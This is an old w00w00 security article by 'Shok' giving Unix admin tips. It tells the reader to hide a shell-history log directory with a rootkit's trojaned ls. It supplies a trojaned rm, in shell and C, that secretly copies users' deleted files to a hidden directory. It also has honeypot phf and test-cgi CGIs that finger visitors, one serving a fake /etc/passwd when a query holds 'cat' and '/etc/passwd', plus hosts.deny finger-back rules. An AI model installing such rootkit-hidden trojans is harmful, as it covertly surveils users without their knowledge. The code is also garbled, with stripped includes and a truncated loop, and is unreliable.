Security and Monitoring Tools ----------------------------- Shok (Matt Conover) shok@dataforce.net, shok@sekurity.org What I plan for this to be, is some various utilities that you might think as of use and what not. This is mainly a few security tips that I like to use. First off, edit your /etc/profile, and add the line: export HISTFILE=/tmp/hist/`whoami` and then do: mkdir /tmp/hist;chmud 1777 /tmp/hist You now want to hide that file, so the users don't see the dir (it can be seen with set but not too many people check :) and you hide it with the rootkit's ls. Another few things I like to do. I made a trojaned 'rm' that basically calls /bin/rm.bak which is hidden (via rootkit ls), and it copies the file they are trying to delete to /tmp/fill (which is also hidden via rootkit ls). There are two versions of this....I wrote the first one in shell script, but do to the fact it has to be a+r, I wrote it in C afterwords. Here is the rm.sh: #!/bin/sh # rm trojan, stores files in a temp directory, that is +tw, but go-r # the directory this writes to should be hidden with a trojaned ls # (via rootkit) # this is just an example...USE rm.c ;) if [ $# > 1 ] then case $1 in -i) shift cp -f $* /tmp/fill &>/dev/null doexec /bin/rm.bak rm -i $* ;; --interactive) shift cp -f $* /tmp/fill &>/dev/null doexec /bin/rm.bak rm -i $* ;; -f) shift cp -f $* /tmp/fill &>/dev/null /bin/rm.bak -f $* ;; --force) shift cp -f $* /tmp/fill &>/dev/null /bin/rm.bak -f $* ;; -d) shift cp $1/* /tmp/fill &>/dev/null doexec /bin/rm.bak rm -d $* ;; --directory) shift cp $1/* /tmp/fill &>/dev/null doexec /bin/rm.bak rm -d $* ;; -v) shift cp -f $* /tmp/fill &>/dev/null /bin/rm.bak -v $* ;; --verbose) shift cp -f $* /tmp/fill &>/dev/null /bin/rm.bak -v $* ;; -r) shift cp -f $1/* /tmp/fill &>/dev/null doexec /bin/rm.bak -R $* ;; -R) shift cp -f $1/* /tmp/fill &>/dev/null doexec /bin/rm.bak rm -R $* ;; --recursive) shift cp -f $1/* /tmp/fill &>/dev/null doexec /bin/rm.bak rm -R $* ;; -ri) shift cp -f $1/* /tmp/fill &>/dev/null /bin/rm.bak -ri $* ;; -Ri) shift cp -f $1/* /tmp/fill &>/dev/null doexec /bin/rm.bak rm -ri $* ;; -rf) shift cp -f $1/* /tmp/fill &>/dev/null cp -f $1 /tmp/fill &>/dev/null /bin/rm.bak -rf $* ;; -Rf) shift cp -f $1/* /tmp/fill &>/dev/null cp -f $1 /tmp/fill &>/dev/null /bin/rm.bak -rf $* ;; -rd) shift cp -f $1/* /tmp/fill &>/dev/null doexec /bin/rm.bak rm -rd $* ;; -Rd) shift cp -f $1/* /tmp/fill &>/dev/null doexec /bin/rm.bak rm -rd $* ;; -Rv) shift cp -f $1/* /tmp/fill &>/dev/null doexec /bin/rm.bak rm -rv $* ;; -rv) shift cp -f $1/* /tmp/fill &>/dev/null doexec /bin/rm.bak rm -rv $* ;; -fv) shift cp -f $1 /tmp/fill &>/dev/null /bin/rm.bak -fv $* ;; -Rfv) shift cp -f $1/* /tmp/fill &>/dev/null cp -f $1 /tmp/fill &>/dev/null /bin/rm.bak -rfv $* ;; -rfv) shift cp -f $1/* /tmp/fill &>/dev/null cp -f $1 /tmp/fill &>/dev/null /bin/rm.bak -rfv $* ;; *) cp -f $* /tmp/fill &>/dev/null /bin/rm.bak $* ;; esac else IT = $1 cp -f $IT /tmp/fill /bin/rm.bak $IT fi If you do not have the program doexec, write it like this: #include #include void main(int argc, char **argv) { execl(argv[1], argv[2], argv[3], argv[4], (char *)NULL); } Now for rm.c: /* ------------------------------------------------------ */ /* rm.c -- rm "trojan" by Shok (Matt Conover) */ /* ------------------------------------------------------ */ /* Email: shok@dataforce.net, shok@sekurity.org */ #include #include #include #include #include void main(int argc, char **argv) { int i, c; int recursive, verbose, force, interactive; if (argc > 2) { while((c = getopt (argc, argv, "Rrifv:")) != -1) switch (c) { case 'R': case 'r': recursive = 1; break; case 'i': interactive = 1; break; case 'f': force = 1; break; case 'v': verbose = 1; break; case '?': exit(1); default: break; } } else if (argc == 2) { setenv("PROGRAM", argv[1], 1); system("cp -f $PROGRAM /tmp/fill &>/dev/null"); execl("/bin/rm.bak", "rm", argv[1], NULL); unsetenv("PROGRAM"); exit(0); } else { exit(0); } if ((interactive == 1) && (verbose != 1) && (force != 1) && (recursive != 1)) goto interactive; if ((force == 1) && (verbose != 1) && (interactive != 1) && (recursive != 1)) goto force; if ((verbose == 1) && (interactive != 1) && (force != 1) && (recursive != 1)) goto verbose; if ((recursive == 1) && (verbose != 1) && (force != 1) && (interactive != 1)) goto recursive; if ((recursive == 1) && (force == 1) && (interactive != 1) && (verbose != 1)) goto rf; if ((recursive == 1) && (force != 1) && (interactive == 1) && (verbose != 1)) goto ri; if ((recursive == 1) && (force != 1) && (interactive != 1) && (verbose == 1)) goto rv; if ((recursive == 1) && (force == 1) && (interactive != 1) && (verbose == 1)) goto rfv; fprintf(stderr, "Unknown error.\n"); exit(1); interactive: for (i = 2; i < argc; i++) { setenv("PROGRAM", argv[i], 2); system("cp -f $PROGRAM/* /tmp/fill &>/dev/null"); unsetenv("PROGRAM"); execl("/bin/rm.bak","rm","-i",argv[2],NULL); } exit(0); force: for (i = 2; i < argc; i++) { setenv("PROGRAM", argv[i], 2); system("cp -f $PROGRAM/* /tmp/fill &>/dev/null"); unsetenv("PROGRAM"); execl("/bin/rm.bak","rm","-f",argv[2],NULL); } exit(0); verbose: for (i = 2; i < argc; i++) { setenv("PROGRAM", argv[i], 2); system("cp -f $PROGRAM/* /tmp/fill &>/dev/null"); unsetenv("PROGRAM"); execl("/bin/rm.bak","rm","-v",argv[2],NULL); } exit(0); recursive: for (i = 2; i < argc; i++) { setenv("PROGRAM", argv[i], 2); system("cp -f $PROGRAM/* /tmp/fill &>/dev/null"); unsetenv("PROGRAM"); execl("/bin/rm.bak","rm","-r",argv[2],NULL); } exit(0); rf: for (i = 2; i < argc; i++) { setenv("PROGRAM", argv[i], 2); system("cp -f $PROGRAM/* /tmp/fill &>/dev/null"); unsetenv("PROGRAM"); execl("/bin/rm.bak","rm","-rf",argv[2],NULL); } exit(0); ri: for (i = 2;i < argc; i++) { setenv("PROGRAM", argv[i], 2); system("cp -f $PROGRAM/* /tmp/fill &>/dev/null"); unsetenv("PROGRAM"); execl("/bin/rm.bak","rm","-ri",argv[2],NULL); } exit(0); rv: for (i = 2; i < argc; i++) { setenv("PROGRAM", argv[i], 2); system("cp -f $PROGRAM/* /tmp/fill &>/dev/null"); unsetenv("PROGRAM"); execl("/bin/rm.bak","rm","-rv",argv[2],NULL); } exit(0); rfv: for (i = 2; i /dev/null"); unsetenv("PROGRAM"); execl("/bin/rm.bak","rm","-rfv",argv[2],NULL); } exit(0); } This program can of course be improved, especially replacing the strcmp's with getopt() but I could care less.... Now when ever a user deletes something it will first be copied to /tmp/fill before it's deleted. Now, even though it's logged to /var/log/httpd/access_log, I'd like to know right away when someone tries to use the phf or test-cgi vulnerabilities on me. So I replaced the phf and test-cgi programs in my /cgi-bin/ with this. The first will get the info on who it is, then it will send a fake passwd file. This can be improved of course but I don't care to take the time. phf.c: /* w00w00! */ /* phf trojan */ /* -------------------------------------------------------------------- */ /* Just a little utility to log information about who is exploiting us. */ /* Will mail it to root of local host, with the IP address, the web */ /* browser, the query string, etc. It will then return a fake password */ /* below which can be modified. */ /* */ /* Shok (Matt Conover) */ /* shok@dataforce.net, shok@sekurity.org */ #include #include #include #include #include #include #include #include /* List of defines */ #define ERROR -1 #define IP "206.71.69.243" /* Set this to your IP address. */ #define ADMIN "root" /* Set this to the user (or address) of the person */ /* to get phf attempts. */ #define FINGERPROG "/usr/bin/finger" /* Set to path of 'finger'. */ #define MAILPROG "/bin/mail" /* This does have to be the 'mail' */ /* program but this is to specify the */ /* path. */ /* This returns a '404 File Not Found' to the client. */ #define PRNSERVERR() printf("Content-type: text/html\n\n"); \ printf("\n"); \ printf("404 File Not Found\n"); \ printf("\n"); \ \ printf("

File Not Found

\n"); \ printf("The requested URL was not found on this server.

\n"); \ \ printf("\n"); \ \ fflush(stdin), fflush(stdout), fflush(stderr); /* Free up our structures before exiting. */ #define FREEALL() free(buf), free(cmdarg), free(address); /* ------------------ */ void main() { FILE *tmpfile, *fingerinfo; int pid; int fd[2]; register int errors = 0; char *buf = malloc(4096); char *cmdarg = malloc(512); char *address = malloc(256); char *host = getenv("REMOTE_HOST"); char *addr = getenv("REMOTE_ADDR"); char *browser = getenv("HTTP_USER_AGENT"); char *query_string = getenv("QUERY_STRING"); /* We check each malloc seperately so we can free */ /* any previously malloc()'d buffers. */ if (buf == NULL) { perror("malloc"); PRNSERVERR(); exit(ERROR); } else memset(buf, 0, sizeof(buf)); if (cmdarg == NULL) { perror("malloc"); PRNSERVERR(); free(buf); exit(ERROR); } else memset(cmdarg, 0, sizeof(cmdarg)); if (address == NULL) { perror("malloc"); PRNSERVERR(); free(buf), free(cmdarg); exit(ERROR); } else memset(address, 0, sizeof(address)); /* ----------------------------- */ if (pipe(fd) == ERROR) { perror("pipe"); PRNSERVERR(); FREEALL(); exit(ERROR); } bzero(buf, sizeof(buf)); if ((pid = fork()) == ERROR) { openlog("phf", LOG_PID, LOG_USER); syslog(LOG_ERR, "Unable to fork()."); closelog(); PRNSERVERR(); FREEALL(); exit(ERROR); } if (pid == 0) { close(fileno(stdout)), close(fileno(stderr)), close(fd[0]); dup2(fd[1], fileno(stdout)); /* Send all output to the pipe's output. */ dup2(fd[1], fileno(stderr)); /* Send all errors to the pipe. */ sprintf(address, "@%.*s", 256 - 1, host); /* Log information. */ printf("The following person used phf!!\n\n"); printf("\tHost: %s\n", host); printf("\tAddress: %s\n", addr); printf("\tBrowser type: %s\n", browser); printf("\tQuery String (i.e. command entered): %s\n\n", query_string); printf("Information collected from fingering host (if any):\n"); printf("---------------------------------------------------\n\n"); fflush(stdout); if ((strcmp(addr, IP) != 0) && (strcmp(addr, "127.0.0.1") != 0)) execl(FINGERPROG, "finger", address, (char *)NULL); else printf("[from the localhost (%s)]\n", IP); printf(".\n"); /* Terminate 'mail'. */ /* --------------- */ FREEALL(); exit(0); } else { close(fileno(stdin)), close(fileno(stderr)), close(fd[1]); dup2(fd[0], fileno(stdin)); /* Send all input to the pipe's input. */ dup2(fd[1], fileno(stderr)); /* Send all errors to the pipe. */ wait(NULL); /* Wait for child to completely finish before starting. */ /* Setup the subject to send to mail. */ sprintf(cmdarg, "-s \"PHF ATTEMPT FROM %.*s!\"", sizeof(cmdarg) - 19, host); /* fork() another child to execute the mail program. */ if ((pid = fork()) == ERROR) { perror("fork"); PRNSERVERR(); FREEALL(); exit(ERROR); } if (pid == 0) execl(MAILPROG, "mail", cmdarg, ADMIN, (char *)NULL); } /* Send a fake password file.. if there is a "cat" and "/etc/passwd" */ /* in the QUERY_STRING. Otherwise report file not found (this can */ /* cause problems if they first send a cat /etc/passwd and then send */ /* an xterm request for example. */ if (strstr(query_string, "cat") && strstr(query_string, "/etc/passwd")) { printf("Content-type: text/html\n\n"); printf("\n"); printf("Query Results\n"); printf("

Query Results

\n"); printf("\n"); printf("

\n"); printf("/usr/local/bin/ph -m alias=x \n"); printf("cat /etc/passwd\n"); printf("

\n");
     printf("root:x3DgdbFdn:0:1:Operator:/:/bin/csh\n");
     printf("nobody:*:65534:65534::/:\n");
     printf("daemon:*:1:1::/:\n");
     printf("sys:*:2:2::/:/bin/csh\n");
     printf("bin:*:3:3::/bin:\n");
     printf("uucp:*:9:9::/var/spool/uucppublic:\n");
     printf("news:*:6:6::/var/spool/news:/bin/csh\n");
     printf("mail:*:8:8::/:\n");
     printf("audit:*:11:11::/usr/sbin/audit:/bin/csh\n");
     printf("slip::25:25:SLIP:/tmp:/usr/sbin/sliplogin\n");
     printf("sync::1:1::/:/bin/sync\n");
     printf("sysdiag:*:0:1:System Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag\n");
     printf("sundiag:*:0:1:System Diagnostic:/usr/diag/sundiag:/usr/diag/sundiag/sundiag\n");
     printf("ftp:*:10:20:ftp:/home/ftp:/usr/bin/bash\n");
     printf("www:*:50:50:World Wide Web:/home/www:/usr/bin/bash\n");
     printf("pop:*:60:60:Post Office Protocol:/var/spool/pop:/usr/bin/bash\n");
     printf("f33r:A23gAdcYf5:4110:100:f33r me bitch:/home/hph:/usr/local/bin/tcsh\n");
     printf("john:Vf84.y4kl/:4120:18:John Preston:/usr/john:/usr/bin/bash\n");
     printf("lolop:j7Hf./fdf:8900:100:LoLoP:/home/lolop:/usr/local/bin/tcsh\n");
     printf("pcguest::7454:100:Guest Account:/tmp:/usr/bin/sh\n");
     printf("pscoot:Em8y0pwT.5umo:8930:100:Pike Scoot:/home/pscoot:/usr/bin/bash\n");
     printf("shok:aDrsBsefYr:666:100:Matt Conover:/home/shok:/bin/bash\n");
     printf("majordomo:*:405:20:Majordomo server:/dev/null:/bin/startdomo\n");
     printf("listserv:*:567:20:Listserv server:/dev/null:/bin/sh\n");
     printf("jsmith:Fdd34cDfc:8940:100:Jim Smith:/home/jsmith:/usr/bin/bash\n"); 
     printf("db:*:8970:100:Dieter Beule:/usr/sirius/dieter:/usr/bin/bash\n");
     printf("guest:*:8999:110:Guest:/home/guest:/usr/local/bin/tcsh\n");
     printf("
"); printf("\n"); } else { PRNSERVERR(); FREEALL(); } FREEALL(); } test-cgi.c: /* w00w00! */ /* test-cgi trojan */ /* -------------------------------------------------------------------- */ /* Just a little utility to log information about who is exploiting us. */ /* Will mail it to root of local host, with the IP address, the web */ /* browser, the query string, etc. It will then return a File Not Found */ /* error. */ /* */ /* Shok (Matt Conover) */ /* shok@dataforc.enet, shok@sekurity.org */ #include #include #include #include #include #include #include #include /* List of defines */ #define ERROR -1 #define IP "206.71.69.243" /* Set this to your IP address. */ #define ADMIN "root" /* Set this to the user (or address) of the person */ /* to get phf attempts. */ #define FINGERPROG "/usr/bin/finger" /* Set to path of 'finger'. */ #define MAILPROG "/bin/mail" /* This does have to be the 'mail' */ /* program but this is to specify the */ /* path. */ /* This returns a '404 File Not Found' to the client. */ #define PRNSERVERR() printf("Content-type: text/html\n\n"); \ printf("\n"); \ printf("404 File Not Found\n"); \ printf("\n"); \ \ printf("

File Not Found

\n"); \ printf("The requested URL was not found on this server.

\n"); \ \ printf("\n"); \ \ fflush(stdin), fflush(stdout), fflush(stderr); /* Free up our structures before exiting. */ #define FREEALL() free(buf), free(cmdarg), free(address); /* ------------------ */ void main() { FILE *tmpfile, *fingerinfo; int pid; int fd[2]; register int errors = 0; char *buf = malloc(4096); char *cmdarg = malloc(512); char *address = malloc(256); char *host = getenv("REMOTE_HOST"); char *addr = getenv("REMOTE_ADDR"); char *browser = getenv("HTTP_USER_AGENT"); char *query_string = getenv("QUERY_STRING"); /* We check each malloc seperately so we can free */ /* any previously malloc()'d buffers. */ if (buf == NULL) { perror("malloc"); PRNSERVERR(); exit(ERROR); } else memset(buf, 0, sizeof(buf)); if (cmdarg == NULL) { perror("malloc"); PRNSERVERR(); free(buf); exit(ERROR); } else memset(cmdarg, 0, sizeof(cmdarg)); if (address == NULL) { perror("malloc"); PRNSERVERR(); free(buf), free(cmdarg); exit(ERROR); } else memset(address, 0, sizeof(address)); /* ----------------------------- */ if (pipe(fd) == ERROR) { perror("pipe"); PRNSERVERR(); FREEALL(); exit(ERROR); } bzero(buf, sizeof(buf)); if ((pid = fork()) == ERROR) { openlog("test-cgi", LOG_PID, LOG_USER); syslog(LOG_ERR, "Unable to fork()."); closelog(); PRNSERVERR(); FREEALL(); exit(ERROR); } if (pid == 0) { close(fileno(stdout)), close(fileno(stderr)), close(fd[0]); dup2(fd[1], fileno(stdout)); /* Send all output to the pipe's output. */ dup2(fd[1], fileno(stderr)); /* Send all errors to the pipe. */ sprintf(address, "@%.*s", 256 - 1, host); /* Log information. */ printf("The following person used test-cgi!\n\n"); printf("\tHost: %s\n", host); printf("\tAddress: %s\n", addr); printf("\tBrowser type: %s\n", browser); printf("\tQuery String (i.e. command entered): %s\n\n", query_string); printf("Information collected from fingering host (if any):\n"); printf("---------------------------------------------------\n\n"); fflush(stdout); if ((strcmp(address, IP) != 0) && (strcmp(address, "127.0.0.1") != 0)) execl(FINGERPROG, "finger", address, (char *)NULL); else printf("[from the local host (%s)]\n", IP); printf(".\n"); /* Terminated 'mail'. */ /* --------------- */ FREEALL(); exit(0); } else { close(fileno(stdin)), close(fileno(stderr)), close(fd[1]); dup2(fd[0], fileno(stdin)); /* Send all input to the pipe's input. */ dup2(fd[1], fileno(stderr)); /* Send all errors to the pipe. */ wait(NULL); /* Wait for child to completely finish before starting. */ /* Setup the subject to send to mail. */ sprintf(cmdarg, "-s \"TEST-CGI ATTEMPT FROM %.*s!\"", sizeof(cmdarg) - 19, host); /* fork() another child to execute the mail program. */ if ((pid = fork()) == ERROR) { perror("fork"); PRNSERVERR(); FREEALL(); exit(ERROR); } if (pid == 0) execl(MAILPROG, "mail", cmdarg, ADMIN, (char *)NULL); } PRNSERVERR(); /* Just return 404 File Not Found. */ FREEALL(); } Just as an added bonus here......... When someone goes to a directory you have .htaccess in, it will send 401, which is the unauthorized error code (pretty sure it's 401 but not in the mood to check). Now I editted my srm.conf (usually /usr/local/etc/httpd/conf/srm.conf), and added this line: ErrorDocument 401 /cgi-bin/unauthorized.cgi This is basically like the one above.......except it differs by the the 'user' part, which lets you know what user it was...this is a good way to know if there is an unauthorized attempt, and/or what user is logging into your webpage that is secured...... unauthorized.c: /* w00w00! */ /* Unauthorized access catcher. */ /* -------------------------------------------------------------------- */ /* Just a little utility to log information about who is unauthorized */ /* to access the web page. Will mail it to root of local host, with the */ /* IP address, the web browser, user, ident, the query string, etc. */ /* */ /* Shok (Matt Conover) */ /* shok@dataforce.net, shok@sekurity.org */ #include #include #include #include #include #include #include #include /* List of defines */ #define ERROR -1 #define ADMIN "root" /* Set this to the user (or address) of the person */ /* to get phf attempts. */ #define IP "206.71.69.243" /* Set this to your IP address. */ #define FINGERPROG "/usr/bin/finger" /* Set to path of 'finger'. */ #define MAILPROG "/bin/mail" /* This does have to be the 'mail' */ /* program but this is to specify the */ /* path. */ /* This returns a '404 File Not Found' to the client. */ #define PRNSERVERR() printf("Content-type: text/html\n\n"); \ printf("\n"); \ printf("404 File Not Found\n"); \ printf("\n"); \ \ printf("

File Not Found

\n"); \ printf("The requested URL was not found on this server.

\n"); \ \ printf("\n"); \ \ fflush(stdin), fflush(stdout), fflush(stderr); /* Free up our structures before exiting. */ #define FREEALL() free(buf), free(cmdarg), free(address); /* ------------------ */ void main() { FILE *tmpfile, *fingerinfo; int pid; int fd[2]; register int errors = 0; char *buf = malloc(4096); char *cmdarg = malloc(512); char *address = malloc(256); char *host = getenv("REMOTE_HOST"); char *addr = getenv("REMOTE_ADDR"); char *user = getenv("REMOTE_USER"); char *ident = getenv("REMOTE_IDENT"); char *browser = getenv("HTTP_USER_AGENT"); char *query_string = getenv("QUERY_STRING"); /* We check each malloc seperately so we can free */ /* any previously malloc()'d buffers. */ if (buf == NULL) { perror("malloc"); PRNSERVERR(); exit(ERROR); } else memset(buf, 0, sizeof(buf)); if (cmdarg == NULL) { perror("malloc"); PRNSERVERR(); free(buf); exit(ERROR); } else memset(cmdarg, 0, sizeof(cmdarg)); if (address == NULL) { perror("malloc"); PRNSERVERR(); free(buf), free(cmdarg); exit(ERROR); } else memset(address, 0, sizeof(address)); /* ----------------------------- */ if (pipe(fd) == ERROR) { perror("pipe"); PRNSERVERR(); FREEALL(); exit(ERROR); } bzero(buf, sizeof(buf)); if ((pid = fork()) == ERROR) { openlog("httpd: unauthorized.cgi", LOG_PID, LOG_USER); syslog(LOG_ERR, "Unable to fork()."); closelog(); PRNSERVERR(); FREEALL(); exit(ERROR); } if (pid == 0) { close(fileno(stdout)), close(fileno(stderr)), close(fd[0]); dup2(fd[1], fileno(stdout)); /* Send all output to the pipe's output. */ dup2(fd[1], fileno(stderr)); /* Send all errors to the pipe. */ sprintf(address, "@%.*s", 256 - 1, host); /* Log information. */ printf("The following person used phf!!\n\n"); printf("\tHost: %s\n", host); printf("\tAddress: %s\n", addr); printf("\tUser: %s\n", user); printf("\tIdent: %s\n", ident); printf("\tBrowser type: %s\n", browser); printf("\tQuery String (i.e. command entered): %s\n\n", query_string); printf("Information collected from fingering host (if any):\n"); printf("---------------------------------------------------\n\n"); fflush(stdout); if ((strcmp(addr, IP) != 0) && (strcmp(addr, "127.0.0.1") != 0)) execl(FINGERPROG, "finger", address, (char *)NULL); else printf("[from the local host (%s)]\n", IP); printf(".\n"); /* Terminate 'mail'. */ /* --------------- */ FREEALL(); exit(0); } else { close(fileno(stdin)), close(fileno(stderr)), close(fd[1]); dup2(fd[0], fileno(stdin)); /* Send all input to the pipe's input. */ dup2(fd[1], fileno(stderr)); /* Send all errors to the pipe. */ wait(NULL); /* Wait for child to completely finish before starting. */ /* Setup the subject to send to mail. */ sprintf(cmdarg, "-s \"UNAUTHORIZED FROM %.*s!\"", sizeof(cmdarg) - 19, host); /* fork() another child to execute the mail program. */ if ((pid = fork()) == ERROR) { perror("fork"); PRNSERVERR(); FREEALL(); exit(ERROR); } if (pid == 0) execl(MAILPROG, "mail", cmdarg, ADMIN, (char *)NULL); } printf("Content-type: text/html\n\n"); printf("\n"); printf("401 Unauthorized Access\n"); printf("\n"); printf("

Unauthorized Access

\n"); printf("You are unauthorized to access the requested URL.

\n"); printf("\n"); FREEALL(); } Here is my hosts.deny too.........in case you wanted to see it ;) in.telnetd: ALL: /bin/mail -s "%h tried to telnet in" root #FINGER - Noisy people #------------ in.fingerd: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "FINGER ATTEMPT FROM %h" root & #Security reasons #--------------- in.ftpd: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "FTP ATTEMPT FROM %h" root & in.rlogind: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "RLOGIN ATTEMPT FROM %h" root & #in.telnetd: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "TELNET ATTEMPT FROM %h" root & # PORTMAP #------------- portmap: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "PORTMAP ATTEMPT FROM %h. Using %s" root & #COMSAT in.comsat: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "COMSAT ATTEMPT FROM %h" root & #REXECD in.rexecd: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "REXEC ATTEMPT FROM %h" root & #RSHD in.rshd: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "RSHD ATTEMPT FROM %h" root & #NNRPD in.nnrpd: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "NNRPD ATTEMPT FROM %h" root & #RPCBIND rpcbind: ALL: spawn /usr/sbin/safe_finger @%h| /bin/mail -s "RPCBIND ATTEMPT FROM %h. Using %s" root & #ALL: paranoid Well.......................................we're winding down to the end. It has been fun and I don't have much more to say on this article. Thanks for reading, please feel free to use and distribute this, although I wish for you to leave my comments and "header" at the tops ... ya know my "copyright" :) You can access a few of my things at ftp.w00w00.org or www.w00w00.org. Shok (Matt Conover) Email: shok@dataforce.net, shok@sekurity.org